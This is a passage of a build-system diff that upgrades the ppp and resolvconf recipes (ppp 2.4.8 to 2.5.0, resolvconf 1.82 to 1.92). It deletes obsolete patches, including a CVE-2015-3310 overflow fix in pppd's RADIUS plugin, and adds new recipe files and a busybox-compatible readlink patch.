-CVE: CVE-2015-3310
-
-On systems with more than 65535 processes running, pppd aborts when
-sending a "start" accounting message to the RADIUS server because of a
-buffer overflow in rc_mksid.
-
-The process id is used in rc_mksid to generate a pseudo-unique string,
-assuming that the hex representation of the pid will be at most 4
-characters (FFFF). __sprintf_chk(), used when compiling with
-optimization levels greater than 0 and FORTIFY_SOURCE, detects the
-buffer overflow and makes pppd crash.
-
-The following patch fixes the problem.
-
---- ppp-2.4.6.orig/pppd/plugins/radius/util.c
-+++ ppp-2.4.6/pppd/plugins/radius/util.c
-@@ -77,7 +77,7 @@ rc_mksid (void)
- static unsigned short int cnt = 0;
- sprintf (buf, "%08lX%04X%02hX",
- (unsigned long int) time (NULL),
-- (unsigned int) getpid (),
-+ (unsigned int) getpid () % 65535,
- cnt & 0xFF);
- cnt++;
- return buf;
diff --git a/meta/recipes-connectivity/ppp/ppp/makefile-remove-hard-usr-reference.patch b/meta/recipes-connectivity/ppp/ppp/makefile-remove-hard-usr-reference.patch
deleted file mode 100644
index 614a474c37..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/makefile-remove-hard-usr-reference.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 505705d0e1b55ce3fdc10d0e5eab5488f869adb6 Mon Sep 17 00:00:00 2001
-From: Andreas Oberritter <obi@opendreambox.org>
-Date: Thu, 1 Jul 2010 14:34:12 +0800
-Subject: [PATCH] ppp: Upgraded to version 2.4.5
-
-The patch comes from OpenEmbedded.
-Rebased for ppp-2.4.5. Dongxiao Xu <dongxiao.xu@intel.com>
-
-Updated from OE-Classic to include the pcap hunk.
-Signed-off-by: Andreas Oberritter <obi@opendreambox.org>
-
-Upstream-Status: Inappropriate [configuration]
-
----
- pppd/Makefile.linux | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/pppd/Makefile.linux b/pppd/Makefile.linux
-index 4e485a1..44c4193 100644
---- a/pppd/Makefile.linux
-+++ b/pppd/Makefile.linux
-@@ -188,10 +188,10 @@ LIBS += -ldl
- endif
-
- ifdef FILTER
--ifneq ($(wildcard /usr/include/pcap-bpf.h),)
-+#ifneq ($(wildcard /usr/include/pcap-bpf.h),)
- LIBS += -lpcap
- CFLAGS += -DPPP_FILTER
--endif
-+#endif
- endif
-
- ifdef HAVE_INET6
diff --git a/meta/recipes-connectivity/ppp/ppp/makefile.patch b/meta/recipes-connectivity/ppp/ppp/makefile.patch
deleted file mode 100644
index 25b8ded441..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/makefile.patch
+++ /dev/null
@@ -1,115 +0,0 @@
-From f7fb1d1abfa6d208fb40fca1602e0c488108f1b5 Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard@openedhand.com>
-Date: Wed, 31 Aug 2005 10:45:47 +0000
-Subject: [PATCH] Initial population
-
-The patch comes from OpenEmbedded
-Rebased for ppp-2.4.5. Dongxiao Xu <dongxiao.xu@intel.com>
-
-Upstream-Status: Inappropriate [configuration]
-
----
- chat/Makefile.linux | 2 +-
- pppd/Makefile.linux | 4 ++--
- pppd/plugins/radius/Makefile.linux | 10 +++++-----
- pppd/plugins/rp-pppoe/Makefile.linux | 4 ++--
- pppdump/Makefile.linux | 2 +-
- pppstats/Makefile.linux | 2 +-
- 6 files changed, 12 insertions(+), 12 deletions(-)
-
-diff --git a/chat/Makefile.linux b/chat/Makefile.linux
-index 0732ec8..f082dab 100644
---- a/chat/Makefile.linux
-+++ b/chat/Makefile.linux
-@@ -25,7 +25,7 @@ chat.o: chat.c
-
- install: chat
- mkdir -p $(BINDIR) $(MANDIR)
-- $(INSTALL) -s -c chat $(BINDIR)
-+ $(INSTALL) -c chat $(BINDIR)
- $(INSTALL) -c -m 644 chat.8 $(MANDIR)
-
- clean:
-diff --git a/pppd/Makefile.linux b/pppd/Makefile.linux
-index 9664f70..4e485a1 100644
---- a/pppd/Makefile.linux
-+++ b/pppd/Makefile.linux
-@@ -107,7 +107,7 @@ ifdef USE_SRP
- CFLAGS += -DUSE_SRP -DOPENSSL -I/usr/local/ssl/include
- LIBS += -lsrp -L/usr/local/ssl/lib -lcrypto
- TARGETS += srp-entry
--EXTRAINSTALL = $(INSTALL) -s -c -m 555 srp-entry $(BINDIR)/srp-entry
-+EXTRAINSTALL = $(INSTALL) -c -m 555 srp-entry $(BINDIR)/srp-entry
- MANPAGES += srp-entry.8
- EXTRACLEAN += srp-entry.o
- NEEDDES=y
-@@ -219,7 +219,7 @@ all: $(TARGETS)
- install: pppd
- mkdir -p $(BINDIR) $(MANDIR)
- $(EXTRAINSTALL)
-- $(INSTALL) -s -c -m 555 pppd $(BINDIR)/pppd
-+ $(INSTALL) -c -m 555 pppd $(BINDIR)/pppd
- if chgrp pppusers $(BINDIR)/pppd 2>/dev/null; then \
- chmod o-rx,u+s $(BINDIR)/pppd; fi
- $(INSTALL) -c -m 444 pppd.8 $(MANDIR)
-diff --git a/pppd/plugins/radius/Makefile.linux b/pppd/plugins/radius/Makefile.linux
-index e702263..af57ae3 100644
---- a/pppd/plugins/radius/Makefile.linux
-+++ b/pppd/plugins/radius/Makefile.linux
-@@ -36,11 +36,11 @@ all: $(PLUGIN)
-
- install: all
- $(INSTALL) -d -m 755 $(LIBDIR)
-- $(INSTALL) -s -c -m 755 radius.so $(LIBDIR)
-- $(INSTALL) -s -c -m 755 radattr.so $(LIBDIR)
-- $(INSTALL) -s -c -m 755 radrealms.so $(LIBDIR)
-- $(INSTALL) -c -m 444 pppd-radius.8 $(MANDIR)
-- $(INSTALL) -c -m 444 pppd-radattr.8 $(MANDIR)
-+ $(INSTALL) -c -m 755 radius.so $(LIBDIR)
-+ $(INSTALL) -c -m 755 radattr.so $(LIBDIR)
-+ $(INSTALL) -c -m 755 radrealms.so $(LIBDIR)
-+ $(INSTALL) -m 444 pppd-radius.8 $(MANDIR)
-+ $(INSTALL) -m 444 pppd-radattr.8 $(MANDIR)
-
- radius.so: radius.o libradiusclient.a
- $(CC) $(LDFLAGS) -o radius.so -shared radius.o libradiusclient.a
-diff --git a/pppd/plugins/rp-pppoe/Makefile.linux b/pppd/plugins/rp-pppoe/Makefile.linux
-index 749ccc2..2c93f4a 100644
---- a/pppd/plugins/rp-pppoe/Makefile.linux
-+++ b/pppd/plugins/rp-pppoe/Makefile.linux
-@@ -43,9 +43,9 @@ rp-pppoe.so: plugin.o discovery.o if.o common.o
-
- install: all
- $(INSTALL) -d -m 755 $(LIBDIR)
-- $(INSTALL) -s -c -m 4550 rp-pppoe.so $(LIBDIR)
-+ $(INSTALL) -c -m 4550 rp-pppoe.so $(LIBDIR)
- $(INSTALL) -d -m 755 $(BINDIR)
-- $(INSTALL) -s -c -m 555 pppoe-discovery $(BINDIR)
-+ $(INSTALL) -c -m 555 pppoe-discovery $(BINDIR)
-
- clean:
- rm -f *.o *.so pppoe-discovery
-diff --git a/pppdump/Makefile.linux b/pppdump/Makefile.linux
-index cdf7ac4..0457561 100644
---- a/pppdump/Makefile.linux
-+++ b/pppdump/Makefile.linux
-@@ -17,5 +17,5 @@ clean:
-
- install:
- mkdir -p $(BINDIR) $(MANDIR)
-- $(INSTALL) -s -c pppdump $(BINDIR)
-+ $(INSTALL) -c pppdump $(BINDIR)
- $(INSTALL) -c -m 444 pppdump.8 $(MANDIR)
-diff --git a/pppstats/Makefile.linux b/pppstats/Makefile.linux
-index 71afbe6..1819370 100644
---- a/pppstats/Makefile.linux
-+++ b/pppstats/Makefile.linux
-@@ -22,7 +22,7 @@ all: pppstats
-
- install: pppstats
- -mkdir -p $(MANDIR)
-- $(INSTALL) -s -c pppstats $(BINDIR)
-+ $(INSTALL) -c pppstats $(BINDIR)
- $(INSTALL) -c -m 444 pppstats.8 $(MANDIR)
-
- pppstats: $(PPPSTATSRCS)
diff --git a/meta/recipes-connectivity/ppp/ppp/pppd-resolv-varrun.patch b/meta/recipes-connectivity/ppp/ppp/pppd-resolv-varrun.patch
deleted file mode 100644
index a72414ff8a..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/pppd-resolv-varrun.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-The patch comes from OpenEmbedded
-Rebased for ppp-2.4.5. Dongxiao Xu <dongxiao.xu@intel.com>
-
-Upstream-Status: Inappropriate [embedded specific]
-
-diff -ruN ppp-2.4.5-orig/pppd/ipcp.c ppp-2.4.5/pppd/ipcp.c
---- ppp-2.4.5-orig/pppd/ipcp.c 2010-06-30 15:51:12.050166398 +0800
-+++ ppp-2.4.5/pppd/ipcp.c 2010-06-30 17:02:33.930393283 +0800
-@@ -55,6 +55,8 @@
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
-+#include <sys/stat.h>
-+#include <unistd.h>
-
- #include "pppd.h"
- #include "fsm.h"
-@@ -2095,6 +2097,14 @@
- u_int32_t peerdns1, peerdns2;
- {
- FILE *f;
-+ struct stat dirinfo;
-+
-+ if(stat(_PATH_OUTDIR, &dirinfo)) {
-+ if(mkdir(_PATH_OUTDIR, 0775)) {
-+ error("Failed to create directory %s: %m", _PATH_OUTDIR);
-+ return;
-+ }
-+ }
-
- f = fopen(_PATH_RESOLV, "w");
- if (f == NULL) {
-diff -ruN ppp-2.4.5-orig/pppd/pathnames.h ppp-2.4.5/pppd/pathnames.h
---- ppp-2.4.5-orig/pppd/pathnames.h 2010-06-30 15:51:12.043682063 +0800
-+++ ppp-2.4.5/pppd/pathnames.h 2010-06-30 17:03:20.594371055 +0800
-@@ -30,7 +30,8 @@
- #define _PATH_TTYOPT _ROOT_PATH "/etc/ppp/options."
- #define _PATH_CONNERRS _ROOT_PATH "/etc/ppp/connect-errors"
- #define _PATH_PEERFILES _ROOT_PATH "/etc/ppp/peers/"
--#define _PATH_RESOLV _ROOT_PATH "/etc/ppp/resolv.conf"
-+#define _PATH_OUTDIR _ROOT_PATH _PATH_VARRUN "/ppp"
-+#define _PATH_RESOLV _PATH_OUTDIR "/resolv.conf"
-
- #define _PATH_USEROPT ".ppprc"
- #define _PATH_PSEUDONYM ".ppp_pseudonym"
diff --git a/meta/recipes-connectivity/ppp/ppp_2.4.8.bb b/meta/recipes-connectivity/ppp/ppp_2.4.8.bb
deleted file mode 100644
index f9c60d6bad..0000000000
--- a/meta/recipes-connectivity/ppp/ppp_2.4.8.bb
+++ /dev/null
@@ -1,103 +0,0 @@
-SUMMARY = "Point-to-Point Protocol (PPP) support"
-DESCRIPTION = "ppp (Paul's PPP Package) is an open source package which implements \
-the Point-to-Point Protocol (PPP) on Linux and Solaris systems."
-SECTION = "console/network"
-HOMEPAGE = "http://samba.org/ppp/"
-BUGTRACKER = "http://ppp.samba.org/cgi-bin/ppp-bugs"
-DEPENDS = "libpcap openssl virtual/crypt"
-LICENSE = "BSD & GPLv2+ & LGPLv2+ & PD"
-LIC_FILES_CHKSUM = "file://pppd/ccp.c;beginline=1;endline=29;md5=e2c43fe6e81ff77d87dc9c290a424dea \
- file://pppd/plugins/passprompt.c;beginline=1;endline=10;md5=3bcbcdbf0e369c9a3e0b8c8275b065d8 \
- file://pppd/tdb.c;beginline=1;endline=27;md5=4ca3a9991b011038d085d6675ae7c4e6 \
- file://chat/chat.c;beginline=1;endline=15;md5=0d374b8545ee5c62d7aff1acbd38add2"
-
-SRC_URI = "https://download.samba.org/pub/${BPN}/${BP}.tar.gz \
- file://makefile.patch \
- file://pppd-resolv-varrun.patch \
- file://makefile-remove-hard-usr-reference.patch \
- file://pon \
- file://poff \
- file://init \
- file://ip-up \
- file://ip-down \
- file://08setupdns \
- file://92removedns \
- file://copts.patch \
- file://pap \
- file://ppp_on_boot \
- file://provider \
- file://ppp@.service \
- file://fix-CVE-2015-3310.patch \
- file://0001-ppp-Remove-unneeded-include.patch \
- file://0001-pppd-Fix-bounds-check-in-EAP-code.patch \
- "
-
-SRC_URI_append_libc-musl = "\
- file://0001-Fix-build-with-musl.patch \
-"
-SRC_URI[md5sum] = "2ca8342b9804be15103fd3f687af701c"
-SRC_URI[sha256sum] = "f6bf89beae26b2943dff8f1003533d6a5a4909a0fa6edfbec44fe039bbe61bc6"
-
-inherit autotools-brokensep systemd
-
-TARGET_CC_ARCH += " ${LDFLAGS}"
-EXTRA_OEMAKE = "STRIPPROG=${STRIP} MANDIR=${D}${datadir}/man/man8 INCDIR=${D}${includedir} LIBDIR=${D}${libdir}/pppd/${PV} BINDIR=${D}${sbindir}"
-EXTRA_OECONF = "--disable-strip"
-
-# Package Makefile computes CFLAGS, referencing COPTS.
-# Typically hard-coded to '-O2 -g' in the Makefile's.
-#
-EXTRA_OEMAKE += ' COPTS="${CFLAGS} -I${STAGING_INCDIR}/openssl -I${S}/include"'
-
-do_configure () {
- oe_runconf
-}
-
-do_install_append () {
- make install-etcppp ETCDIR=${D}/${sysconfdir}/ppp
- mkdir -p ${D}${bindir}/ ${D}${sysconfdir}/init.d
- mkdir -p ${D}${sysconfdir}/ppp/ip-up.d/
- mkdir -p ${D}${sysconfdir}/ppp/ip-down.d/
- install -m 0755 ${WORKDIR}/pon ${D}${bindir}/pon
- install -m 0755 ${WORKDIR}/poff ${D}${bindir}/poff
- install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/ppp
- install -m 0755 ${WORKDIR}/ip-up ${D}${sysconfdir}/ppp/
- install -m 0755 ${WORKDIR}/ip-down ${D}${sysconfdir}/ppp/
- install -m 0755 ${WORKDIR}/08setupdns ${D}${sysconfdir}/ppp/ip-up.d/
- install -m 0755 ${WORKDIR}/92removedns ${D}${sysconfdir}/ppp/ip-down.d/
- mkdir -p ${D}${sysconfdir}/chatscripts
- mkdir -p ${D}${sysconfdir}/ppp/peers
- install -m 0755 ${WORKDIR}/pap ${D}${sysconfdir}/chatscripts
- install -m 0755 ${WORKDIR}/ppp_on_boot ${D}${sysconfdir}/ppp/ppp_on_boot
- install -m 0755 ${WORKDIR}/provider ${D}${sysconfdir}/ppp/peers/provider
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/ppp@.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/ppp@.service
- rm -rf ${D}/${mandir}/man8/man8
- chmod u+s ${D}${sbindir}/pppd
-}
-
-do_install_append_libc-musl () {
- install -Dm 0644 ${S}/include/net/ppp_defs.h ${D}${includedir}/net/ppp_defs.h
-}
-
-CONFFILES_${PN} = "${sysconfdir}/ppp/pap-secrets ${sysconfdir}/ppp/chap-secrets ${sysconfdir}/ppp/options"
-PACKAGES =+ "${PN}-oa ${PN}-oe ${PN}-radius ${PN}-winbind ${PN}-minconn ${PN}-password ${PN}-l2tp ${PN}-tools"
-FILES_${PN} = "${sysconfdir} ${bindir} ${sbindir}/chat ${sbindir}/pppd ${systemd_unitdir}/system/ppp@.service"
-FILES_${PN}-oa = "${libdir}/pppd/${PV}/pppoatm.so"
-FILES_${PN}-oe = "${sbindir}/pppoe-discovery ${libdir}/pppd/${PV}/rp-pppoe.so"
-FILES_${PN}-radius = "${libdir}/pppd/${PV}/radius.so ${libdir}/pppd/${PV}/radattr.so ${libdir}/pppd/${PV}/radrealms.so"
-FILES_${PN}-winbind = "${libdir}/pppd/${PV}/winbind.so"
-FILES_${PN}-minconn = "${libdir}/pppd/${PV}/minconn.so"
-FILES_${PN}-password = "${libdir}/pppd/${PV}/pass*.so"
-FILES_${PN}-l2tp = "${libdir}/pppd/${PV}/*l2tp.so"
-FILES_${PN}-tools = "${sbindir}/pppstats ${sbindir}/pppdump"
-SUMMARY_${PN}-oa = "Plugin for PPP for PPP-over-ATM support"
-SUMMARY_${PN}-oe = "Plugin for PPP for PPP-over-Ethernet support"
-SUMMARY_${PN}-radius = "Plugin for PPP for RADIUS support"
-SUMMARY_${PN}-winbind = "Plugin for PPP to authenticate against Samba or Windows"
-SUMMARY_${PN}-minconn = "Plugin for PPP to set a delay before the idle timeout applies"
-SUMMARY_${PN}-password = "Plugin for PPP to get passwords via a pipe"
-SUMMARY_${PN}-l2tp = "Plugin for PPP for l2tp support"
-SUMMARY_${PN}-tools = "Additional tools for the PPP package"
diff --git a/meta/recipes-connectivity/ppp/ppp_2.5.0.bb b/meta/recipes-connectivity/ppp/ppp_2.5.0.bb
new file mode 100644
index 0000000000..4b052f8ed9
--- /dev/null
+++ b/meta/recipes-connectivity/ppp/ppp_2.5.0.bb
@@ -0,0 +1,75 @@
+SUMMARY = "Point-to-Point Protocol (PPP) support"
+DESCRIPTION = "ppp (Paul's PPP Package) is an open source package which implements \
+the Point-to-Point Protocol (PPP) on Linux and Solaris systems."
+SECTION = "console/network"
+HOMEPAGE = "http://samba.org/ppp/"
+BUGTRACKER = "http://ppp.samba.org/cgi-bin/ppp-bugs"
+DEPENDS = "libpcap openssl virtual/crypt"
+LICENSE = "BSD-3-Clause & BSD-3-Clause-Attribution & GPL-2.0-or-later & LGPL-2.0-or-later & PD"
+LIC_FILES_CHKSUM = "file://pppd/ccp.c;beginline=1;endline=29;md5=e2c43fe6e81ff77d87dc9c290a424dea \
+ file://pppd/plugins/passprompt.c;beginline=1;endline=10;md5=3bcbcdbf0e369c9a3e0b8c8275b065d8 \
+ file://pppd/tdb.c;beginline=1;endline=27;md5=4ca3a9991b011038d085d6675ae7c4e6 \
+ file://chat/chat.c;beginline=1;endline=15;md5=0d374b8545ee5c62d7aff1acbd38add2"
+
+SRC_URI = "https://download.samba.org/pub/${BPN}/${BP}.tar.gz \
+ file://pon \
+ file://poff \
+ file://init \
+ file://ip-up \
+ file://ip-down \
+ file://08setupdns \
+ file://92removedns \
+ file://pap \
+ file://ppp_on_boot \
+ file://provider \
+ file://ppp@.service \
+ "
+
+SRC_URI[sha256sum] = "5cae0e8075f8a1755f16ca290eb44e6b3545d3f292af4da65ecffe897de636ff"
+
+inherit autotools systemd
+
+EXTRA_OECONF += "--with-openssl=${STAGING_EXECPREFIXDIR}"
+
+do_install:append () {
+ mkdir -p ${D}${bindir}/ ${D}${sysconfdir}/init.d
+ mkdir -p ${D}${sysconfdir}/ppp/ip-up.d/
+ mkdir -p ${D}${sysconfdir}/ppp/ip-down.d/
+ install -m 0755 ${WORKDIR}/pon ${D}${bindir}/pon
+ install -m 0755 ${WORKDIR}/poff ${D}${bindir}/poff
+ install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/ppp
+ install -m 0755 ${WORKDIR}/ip-up ${D}${sysconfdir}/ppp/
+ install -m 0755 ${WORKDIR}/ip-down ${D}${sysconfdir}/ppp/
+ install -m 0755 ${WORKDIR}/08setupdns ${D}${sysconfdir}/ppp/ip-up.d/
+ install -m 0755 ${WORKDIR}/92removedns ${D}${sysconfdir}/ppp/ip-down.d/
+ mkdir -p ${D}${sysconfdir}/chatscripts
+ mkdir -p ${D}${sysconfdir}/ppp/peers
+ install -m 0755 ${WORKDIR}/pap ${D}${sysconfdir}/chatscripts
+ install -m 0755 ${WORKDIR}/ppp_on_boot ${D}${sysconfdir}/ppp/ppp_on_boot
+ install -m 0755 ${WORKDIR}/provider ${D}${sysconfdir}/ppp/peers/provider
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/ppp@.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${systemd_system_unitdir}/ppp@.service
+}
+
+CONFFILES:${PN} = "${sysconfdir}/ppp/pap-secrets ${sysconfdir}/ppp/chap-secrets ${sysconfdir}/ppp/options"
+PACKAGES =+ "${PN}-oa ${PN}-oe ${PN}-radius ${PN}-winbind ${PN}-minconn ${PN}-password ${PN}-l2tp ${PN}-tools"
+FILES:${PN} = "${sysconfdir} ${bindir} ${sbindir}/chat ${sbindir}/pppd ${systemd_system_unitdir}/ppp@.service"
+FILES:${PN}-oa = "${libdir}/pppd/${PV}/pppoatm.so"
+FILES:${PN}-oe = "${sbindir}/pppoe-discovery ${libdir}/pppd/${PV}/*pppoe.so"
+FILES:${PN}-radius = "${libdir}/pppd/${PV}/radius.so ${libdir}/pppd/${PV}/radattr.so ${libdir}/pppd/${PV}/radrealms.so"
+FILES:${PN}-winbind = "${libdir}/pppd/${PV}/winbind.so"
+FILES:${PN}-minconn = "${libdir}/pppd/${PV}/minconn.so"
+FILES:${PN}-password = "${libdir}/pppd/${PV}/pass*.so"
+FILES:${PN}-l2tp = "${libdir}/pppd/${PV}/*l2tp.so"
+FILES:${PN}-tools = "${sbindir}/pppstats ${sbindir}/pppdump"
+SUMMARY:${PN}-oa = "Plugin for PPP for PPP-over-ATM support"
+SUMMARY:${PN}-oe = "Plugin for PPP for PPP-over-Ethernet support"
+SUMMARY:${PN}-radius = "Plugin for PPP for RADIUS support"
+SUMMARY:${PN}-winbind = "Plugin for PPP to authenticate against Samba or Windows"
+SUMMARY:${PN}-minconn = "Plugin for PPP to set a delay before the idle timeout applies"
+SUMMARY:${PN}-password = "Plugin for PPP to get passwords via a pipe"
+SUMMARY:${PN}-l2tp = "Plugin for PPP for l2tp support"
+SUMMARY:${PN}-tools = "Additional tools for the PPP package"
+
diff --git a/meta/recipes-connectivity/resolvconf/resolvconf/0001-avoid-using-m-option-for-readlink.patch b/meta/recipes-connectivity/resolvconf/resolvconf/0001-avoid-using-m-option-for-readlink.patch
new file mode 100644
index 0000000000..ab32f26754
--- /dev/null
+++ b/meta/recipes-connectivity/resolvconf/resolvconf/0001-avoid-using-m-option-for-readlink.patch
@@ -0,0 +1,37 @@
+From 6bf2bb136a0b3961339369bc08e58b661fba0edb Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 17 Nov 2022 17:26:30 +0800
+Subject: [PATCH] avoid using -m option for readlink
+
+Use a more widely used option '-f' instead of '-m' here to
+avoid dependency on coreutils.
+
+Looking at the git history of the resolvconf repo, the '-m'
+is deliberately used. And it wants to depend on coreutils.
+But in case of OE, the existence of /etc is ensured, and busybox
+readlink provides '-f' option, so we can just use '-f'. In this
+way, the coreutils dependency is not necessary any more.
+
+Upstream-Status: Inappropriate [OE Specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ etc/resolvconf/update.d/libc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/etc/resolvconf/update.d/libc b/etc/resolvconf/update.d/libc
+index 1c4f6bc..f75d22c 100755
+--- a/etc/resolvconf/update.d/libc
++++ b/etc/resolvconf/update.d/libc
+@@ -57,7 +57,7 @@ fi
+ report_warning() { echo "$0: Warning: $*" >&2 ; }
+
+ resolv_conf_is_symlinked_to_dynamic_file() {
+- [ -L ${ETC}/resolv.conf ] && [ "$(readlink -m ${ETC}/resolv.conf)" = "$DYNAMICRSLVCNFFILE" ]
++ [ -L ${ETC}/resolv.conf ] && [ "$(readlink -f ${ETC}/resolv.conf)" = "$DYNAMICRSLVCNFFILE" ]
+ }
+
+ if ! resolv_conf_is_symlinked_to_dynamic_file ; then
+--
+2.17.1
+
diff --git a/meta/recipes-connectivity/resolvconf/resolvconf/fix-path-for-busybox.patch b/meta/recipes-connectivity/resolvconf/resolvconf/fix-path-for-busybox.patch
deleted file mode 100644
index 1aead07869..0000000000
--- a/meta/recipes-connectivity/resolvconf/resolvconf/fix-path-for-busybox.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-
-busybox installs readlink into /usr/bin, so ensure /usr/bin
-is in the path.
-
-Upstream-Status: Submitted
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-Index: resolvconf-1.76/etc/resolvconf/update.d/libc
-===================================================================
---- resolvconf-1.76.orig/etc/resolvconf/update.d/libc
-+++ resolvconf-1.76/etc/resolvconf/update.d/libc
-@@ -16,7 +16,7 @@
- #
-
- set -e
--PATH=/sbin:/bin
-+PATH=/sbin:/bin:/usr/bin
-
- [ -x /lib/resolvconf/list-records ] || exit 1
-
diff --git a/meta/recipes-connectivity/resolvconf/resolvconf_1.82.bb b/meta/recipes-connectivity/resolvconf/resolvconf_1.82.bb
deleted file mode 100644
index 67959576e8..0000000000
--- a/meta/recipes-connectivity/resolvconf/resolvconf_1.82.bb
+++ /dev/null
@@ -1,68 +0,0 @@
-SUMMARY = "name server information handler"
-DESCRIPTION = "Resolvconf is a framework for keeping track of the system's \
-information about currently available nameservers. It sets \
-itself up as the intermediary between programs that supply \
-nameserver information and programs that need nameserver \
-information."
-SECTION = "console/network"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c93c0550bd3173f4504b2cbd8991e50b"
-AUTHOR = "Thomas Hood"
-HOMEPAGE = "http://packages.debian.org/resolvconf"
-RDEPENDS_${PN} = "bash"
-
-SRC_URI = "git://salsa.debian.org/debian/resolvconf.git;protocol=https \
- file://fix-path-for-busybox.patch \
- file://99_resolvconf \
- "
-
-SRCREV = "cb19bbfbe7e52174332f68bf2f295b39d119fad3"
-
-S = "${WORKDIR}/git"
-
-# the package is taken from snapshots.debian.org; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/r/resolvconf/"
-
-inherit allarch
-
-do_compile () {
- :
-}
-
-do_install () {
- install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/99_resolvconf ${D}${sysconfdir}/default/volatiles
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/tmpfiles.d
- echo "d /run/${BPN}/interface - - - -" \
- > ${D}${sysconfdir}/tmpfiles.d/resolvconf.conf
- fi
- install -d ${D}${base_libdir}/${BPN}
- install -d ${D}${sysconfdir}/${BPN}
- ln -snf ${localstatedir}/run/${BPN} ${D}${sysconfdir}/${BPN}/run
- install -d ${D}${sysconfdir} ${D}${base_sbindir}
- install -d ${D}${mandir}/man8 ${D}${docdir}/${P}
- cp -pPR etc/* ${D}${sysconfdir}/
- chown -R root:root ${D}${sysconfdir}/
- install -m 0755 bin/resolvconf ${D}${base_sbindir}/
- install -m 0755 bin/list-records ${D}${base_libdir}/${BPN}
- install -d ${D}/${sysconfdir}/network/if-up.d
- install -m 0755 debian/resolvconf.000resolvconf.if-up ${D}/${sysconfdir}/network/if-up.d/000resolvconf
- install -d ${D}/${sysconfdir}/network/if-down.d
- install -m 0755 debian/resolvconf.resolvconf.if-down ${D}/${sysconfdir}/network/if-down.d/resolvconf
- install -m 0644 README ${D}${docdir}/${P}/
- install -m 0644 man/resolvconf.8 ${D}${mandir}/man8/
-}
-
-pkg_postinst_${PN} () {
- if [ -z "$D" ]; then
- if command -v systemd-tmpfiles >/dev/null; then
- systemd-tmpfiles --create ${sysconfdir}/tmpfiles.d/resolvconf.conf
- elif [ -e ${sysconfdir}/init.d/populate-volatile.sh ]; then
- ${sysconfdir}/init.d/populate-volatile.sh update
- fi
- fi
-}
-
-FILES_${PN} += "${base_libdir}/${BPN}"
diff --git a/meta/recipes-connectivity/resolvconf/resolvconf_1.92.bb b/meta/recipes-connectivity/resolvconf/resolvconf_1.92.bb
new file mode 100644
index 0000000000..226cb7ee77
--- /dev/null
+++ b/meta/recipes-connectivity/resolvconf/resolvconf_1.92.bb
@@ -0,0 +1,67 @@
+SUMMARY = "name server information handler"
+DESCRIPTION = "Resolvconf is a framework for keeping track of the system's \
+information about currently available nameservers. It sets \
+itself up as the intermediary between programs that supply \
+nameserver information and programs that need nameserver \
+information."
+SECTION = "console/network"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c93c0550bd3173f4504b2cbd8991e50b"
+HOMEPAGE = "http://packages.debian.org/resolvconf"
+RDEPENDS:${PN} = "bash sed util-linux-flock"
+
+SRC_URI = "git://salsa.debian.org/debian/resolvconf.git;protocol=https;branch=unstable \
+ file://99_resolvconf \
+ file://0001-avoid-using-m-option-for-readlink.patch \
+ "
+
+SRCREV = "86047276c80705c51859a19f0c472102e0822f34"
+
+S = "${WORKDIR}/git"
+
+# the package is taken from snapshots.debian.org; that source is static and goes stale
+# so we check the latest upstream from a directory that does get updated
+UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/r/resolvconf/"
+
+do_compile () {
+ :
+}
+
+do_install () {
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/99_resolvconf ${D}${sysconfdir}/default/volatiles
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${sysconfdir}/tmpfiles.d
+ echo "d /run/${BPN}/interface - - - -" \
+ > ${D}${sysconfdir}/tmpfiles.d/resolvconf.conf
+ fi
+ install -d ${D}${base_libdir}/${BPN}
+ install -d ${D}${sysconfdir}/${BPN}
+ install -d ${D}${nonarch_base_libdir}/${BPN}
+ ln -snf ${localstatedir}/run/${BPN} ${D}${sysconfdir}/${BPN}/run
+ install -d ${D}${sysconfdir} ${D}${base_sbindir}
+ install -d ${D}${mandir}/man8 ${D}${docdir}/${P}
+ cp -pPR etc/resolvconf ${D}${sysconfdir}/
+ chown -R root:root ${D}${sysconfdir}/
+ install -m 0755 bin/resolvconf ${D}${base_sbindir}/
+ install -m 0755 bin/normalize-resolvconf ${D}${nonarch_base_libdir}/${BPN}
+ install -m 0755 bin/list-records ${D}${base_libdir}/${BPN}
+ install -d ${D}/${sysconfdir}/network/if-up.d
+ install -m 0755 debian/resolvconf.000resolvconf.if-up ${D}/${sysconfdir}/network/if-up.d/000resolvconf
+ install -d ${D}/${sysconfdir}/network/if-down.d
+ install -m 0755 debian/resolvconf.resolvconf.if-down ${D}/${sysconfdir}/network/if-down.d/resolvconf
+ install -m 0644 README ${D}${docdir}/${P}/
+ install -m 0644 man/resolvconf.8 ${D}${mandir}/man8/
+}
